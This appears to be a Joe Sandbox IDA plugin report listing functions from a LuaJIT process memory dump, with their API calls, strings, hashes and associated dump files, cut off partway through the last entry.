Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: AddressCallerLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 4215043672-1354007664
Opcode ID: 30b2f73f96f1acc817fbc38871702d57f699fdefbd6e4a561c2ccd7f055b506f
Instruction ID: 72ce38fcd703cd5e9167286ecb13e70cb6d3026a7a3cfbb50d33353b4d2950ff
Opcode Fuzzy Hash: 30b2f73f96f1acc817fbc38871702d57f699fdefbd6e4a561c2ccd7f055b506f
Instruction Fuzzy Hash: 93113363D1EA97E1E790BB10E445736E3A0FBC4350FD40231D98E422A5DF3EE495A639

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ABF000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00007FF738ABEDD3), ref: 00007FF738ABF013
LoadLibraryExA.KERNEL32(?,?,?,?,?,?,00007FF738ABEDD3), ref: 00007FF738ABF034
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF738A817E7), ref: 00007FF738ABF061

Part of subcall function 00007FF738ABEE80: GetLastError.KERNEL32 ref: 00007FF738ABEE96
Part of subcall function 00007FF738ABEE80: FormatMessageA.KERNEL32 ref: 00007FF738ABEECA

Strings

cannot load module '%s': %s, xrefs: 00007FF738ABF04C

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$FormatLibraryLoadMessage
String ID: cannot load module '%s': %s
API String ID: 3853237079-2554058836
Opcode ID: df188ce702c3eb17da8a1c255447b51e67c1ee2f39d31328e8d2608fad6f4809
Instruction ID: c306ac26bbca1ebbba1d950a35751129f617227fd3ff35e2c70e2482e64d24cb
Opcode Fuzzy Hash: df188ce702c3eb17da8a1c255447b51e67c1ee2f39d31328e8d2608fad6f4809
Instruction Fuzzy Hash: 99F01932919A8692DB10EB15F44161AF770FBC97D4F900135EA8D03B38DF3ED1549B19

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ADD4E4 Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF738ADD4F3

Part of subcall function 00007FF738ADD6A8: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF738ADD6CA

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF738ADD508
__scrt_release_startup_lock.LIBCMT ref: 00007FF738ADD576
__scrt_get_show_window_mode.LIBCMT ref: 00007FF738ADD5C9

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 8f06a7c1d25b1d9d4209a0557e7fbf7031a6169d9c2e25739453ee5eb69d5cde
Instruction ID: e8140d158c2c6186a5500382b26df002da6016975c310b3441428b21c63ac51c
Opcode Fuzzy Hash: 8f06a7c1d25b1d9d4209a0557e7fbf7031a6169d9c2e25739453ee5eb69d5cde
Instruction Fuzzy Hash: F0314C23E0F243B6EA14BB249421BB9D2919F41788FC45435E54D8B6D3DE3FF408A279

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A58C90 Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF738A58C9E
VirtualQuery.KERNEL32 ref: 00007FF738A58CCE
SetLastError.KERNEL32 ref: 00007FF738A58D69

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$QueryVirtual
String ID:
API String ID: 3696288210-0
Opcode ID: f4a39bd2c8b4e77c2adc7d5054eb46406d13928e6223299f2622db2b8216fcc4
Instruction ID: ab2575f92df627165b459ad304ccf3cd5d64acc93d7e744c3fb507dc620f3084
Opcode Fuzzy Hash: f4a39bd2c8b4e77c2adc7d5054eb46406d13928e6223299f2622db2b8216fcc4
Instruction Fuzzy Hash: BC21386361EE4991EA60AB15E44062BE7F0FB987E4F500335E6CD42BB8DF3DD5809B14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A4FD90 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FF738A500FB
, xrefs: 00007FF738A501C5

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 42b03ba9e73f26ef3ff5bce6f6d6021bda52361ae5da36bdbd1b7fcc2366f800
Instruction ID: ab5af5df78fd66358b489b28d845c451da8f683abf9aedfe5f3277fab792e60a
Opcode Fuzzy Hash: 42b03ba9e73f26ef3ff5bce6f6d6021bda52361ae5da36bdbd1b7fcc2366f800
Instruction Fuzzy Hash: 86021137619B8585DA709B2AD48022EF7A0F789BA4F504332EAAD877E5CF3DD4409B14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A541F0 Relevance: 4.8, APIs: 2, Strings: 1, Instructions: 297
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF738A5420C

Strings

I, xrefs: 00007FF738A54639

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorLast
String ID: I
API String ID: 1452528299-3707901625
Opcode ID: 1531ca18713afc799c8f2ef2775fe20da84f2d7cb99f84b19dd3da76f019ca22
Instruction ID: 90893d97c1b2abc744fb0a00d8a15bed1e51196b2416aed816471504f4481cfc
Opcode Fuzzy Hash: 1531ca18713afc799c8f2ef2775fe20da84f2d7cb99f84b19dd3da76f019ca22
Instruction Fuzzy Hash: 74E10A77619B8586DB60DB1AE48076AB7B0F7C8B94F500226EACD83BA4CF3DD540DB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A430A0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF738A430B9
SetLastError.KERNEL32 ref: 00007FF738A4329E

Part of subcall function 00007FF738A540A0: GetLastError.KERNEL32 ref: 00007FF738A540B9
Part of subcall function 00007FF738A540A0: SetLastError.KERNEL32 ref: 00007FF738A54166

Strings

\, xrefs: 00007FF738A4327E

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorLast
String ID: \
API String ID: 1452528299-2967466578
Opcode ID: dc7aa63d98f7a6b8676f16d7f75754d7e493f1b49019153a7c34ee2b34105215
Instruction ID: 1867fa553cb279dd6d37d3f9d986128c04a02cb61376ac20935cb49a1fe0f9b5
Opcode Fuzzy Hash: dc7aa63d98f7a6b8676f16d7f75754d7e493f1b49019153a7c34ee2b34105215
Instruction Fuzzy Hash: 33513D33A19B8586DB50DB19E48062AF7A0F7C8BA4F940235EAAD877A4CF3DD441DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFAD1C Relevance: 4.5, APIs: 3, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF738AFAD1B), ref: 00007FF738AFAD45
TerminateProcess.KERNEL32(?,?,?,00007FF738AFAD1B), ref: 00007FF738AFAD50
ExitProcess.KERNEL32 ref: 00007FF738AFAD5F

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5d4d62a54e9c46130ac50dd2ca8ebd46fd0b951107292fc29c74b2f9e1b698cf
Instruction ID: dfba194f582a5268ebd122c761377787c461388ca89c85970ebc028b89d77c0b
Opcode Fuzzy Hash: 5d4d62a54e9c46130ac50dd2ca8ebd46fd0b951107292fc29c74b2f9e1b698cf
Instruction Fuzzy Hash: C7E04821B0574757EB547B615C8577DE252AF45B52F94843AC80E033A2CE3FF449932A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A58BB0 Relevance: 3.8, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF738A58BB9
VirtualAlloc.KERNEL32 ref: 00007FF738A58BD6
SetLastError.KERNEL32 ref: 00007FF738A58BE5

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: 0a31b1735084f54a03591de20996a30d0408d625ad59090563f2f3174e9d2cb5
Instruction ID: f05ee5ba4fd477b06d73d607fa342382169142b64e8154eff4a5820fc3f8fc33
Opcode Fuzzy Hash: 0a31b1735084f54a03591de20996a30d0408d625ad59090563f2f3174e9d2cb5
Instruction Fuzzy Hash: 40F01D72529B8592D720AB14E44471EF760F7887B4F400324E6ED02BE8CF3DD1448B18

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A58C20 Relevance: 3.8, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF738A58E9E), ref: 00007FF738A58C29
VirtualAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF738A58E9E), ref: 00007FF738A58C46
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF738A58E9E), ref: 00007FF738A58C55

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: 6f5d66f4205355a488102a5330247b632e870741214089924bbcf7827210fdc4
Instruction ID: a004824deb45ea4b453b0a45e3bb711f85ef58bdf6322ba4e0807154e5c960b0
Opcode Fuzzy Hash: 6f5d66f4205355a488102a5330247b632e870741214089924bbcf7827210fdc4
Instruction Fuzzy Hash: D1F01D72529B8596D720AB14E44471AF760F7887F4F400334E6ED02BE8CF3DD1449B18

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A4B7A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strrchr.LIBCMTD ref: 00007FF738A4B9BA

Strings

, xrefs: 00007FF738A4B958

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: strrchr
String ID:
API String ID: 3418686817-3916222277
Opcode ID: 4e961bf43056450b91defcd618916dda4355ce4e6050535bdf05ac30be3a137a
Instruction ID: 748a450987bd9eb74bea5bd6cc36c030ff3d0ab200063deaf09b5ed84a61458e
Opcode Fuzzy Hash: 4e961bf43056450b91defcd618916dda4355ce4e6050535bdf05ac30be3a137a
Instruction Fuzzy Hash: 6D51C737619A8486DB50DB19E08072AF7B0F7C9B90F541126FB8E87B69CB39D4418F04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B16500 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF738B16542

Strings

, xrefs: 00007FF738B16585

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: d6049e12829b25a40106f2a2772facc37ef588d00b3e3406152c56e8e443654b
Instruction ID: 5e31cc5de46b70ded0726bdbc3d7f7313b4fc345a8a4b559957c1ea29c747bc3
Opcode Fuzzy Hash: d6049e12829b25a40106f2a2772facc37ef588d00b3e3406152c56e8e443654b
Instruction Fuzzy Hash: AA51043391C2C296E7209F24D0443EEFBA1F749B48F944135EA8E4BA89CB3DD405DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A35D60 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcsupr_s.LIBCMTD ref: 00007FF738A35DCF

Strings

arg, xrefs: 00007FF738A35DEB

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _wcsupr_s
String ID: arg
API String ID: 600324503-2022414218
Opcode ID: 35be564464d6c4820efd0d8c7376e547ad19c939cfcdb2e341138f1cc7ef3ed0
Instruction ID: b4c1afa143b4fce1ca14a56ed0419847d4ae7d57b9ebc7412877934d019faf0e
Opcode Fuzzy Hash: 35be564464d6c4820efd0d8c7376e547ad19c939cfcdb2e341138f1cc7ef3ed0
Instruction Fuzzy Hash: B331733260964197D620EB29E44162AF3A0FBC9794F900231FA8D877A9DF7FD9019F14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B169D8 Relevance: 3.2, APIs: 2, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B163F0: GetOEMCP.KERNEL32(?,?,?,?,?,?,FFFFFFFD,00007FF738B16714,?,?,?,?,00000000,COMSPEC,?,00007FF738B169AE), ref: 00007FF738B1641A

IsValidCodePage.KERNEL32(?,00000001,?,?,00000000,00000001,?,00007FF738B167C7,?,?,?,?,00000000,COMSPEC,?,00007FF738B169AE), ref: 00007FF738B16A43
GetCPInfo.KERNEL32(?,00000001,?,?,00000000,00000001,?,00007FF738B167C7,?,?,?,?,00000000,COMSPEC,?,00007FF738B169AE), ref: 00007FF738B16A8F

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 8c69a90c0386b87ed3e1871073eaed1069123791459b7e64fa7c6bddaab46548
Instruction ID: b9965d9984b12bffd05f67e5aa2f25eaae5d2f1f2ae9960843bd55e5abbb4996
Opcode Fuzzy Hash: 8c69a90c0386b87ed3e1871073eaed1069123791459b7e64fa7c6bddaab46548
Instruction Fuzzy Hash: 0E811763F0C68365F765AF25D44117AF6A2EB12740FC44036D68E0B690DE3FF545A32A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFB120 Relevance: 3.2, APIs: 2, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFB15C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFB259

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 23f93f3439cf481d68ace413158a8b6a052188d27ba90543d8d527b73a2b783b
Instruction ID: 5a9529750e977e6515c00f99ebbbfb1ac99c2fc5be1a330e7be234bc95560ab3
Opcode Fuzzy Hash: 23f93f3439cf481d68ace413158a8b6a052188d27ba90543d8d527b73a2b783b
Instruction Fuzzy Hash: 4C51BC33B0B15255F664BE259C00E7AE6E1BB44BA4F944332DD6C477D5CF3EE402A628

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ADD400 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF738ADD417
_RTC_Initialize.LIBCMT ref: 00007FF738ADD438

Part of subcall function 00007FF738B05F54: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B05F86

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: 62e22788655639b8fc294ace6df2bf72dda36c5940e2cb69f5321f03f315bef0
Instruction ID: 3c6e042d36901b92be1c7869e38c1773d740d7b65eec6935fffd6fefa2012d50
Opcode Fuzzy Hash: 62e22788655639b8fc294ace6df2bf72dda36c5940e2cb69f5321f03f315bef0
Instruction Fuzzy Hash: 57118D97E0A903A2FA5476B04866BBCC1545F51344FC01434E52DD6AC3DE3FB949A23A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0D5D8 Relevance: 3.1, APIs: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,?,?,00007FF738B0D50B,?,?,00000000,00007FF738B0D5B3,?,?,?,?,?,?,00007FF738AFAF6A), ref: 00007FF738B0D63E
GetLastError.KERNEL32(?,?,?,00007FF738B0D50B,?,?,00000000,00007FF738B0D5B3,?,?,?,?,?,?,00007FF738AFAF6A), ref: 00007FF738B0D648

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 342de704302773eeb4f8a3e9181b51dc3d1ebcbc1097d58ab930e3d4315a225c
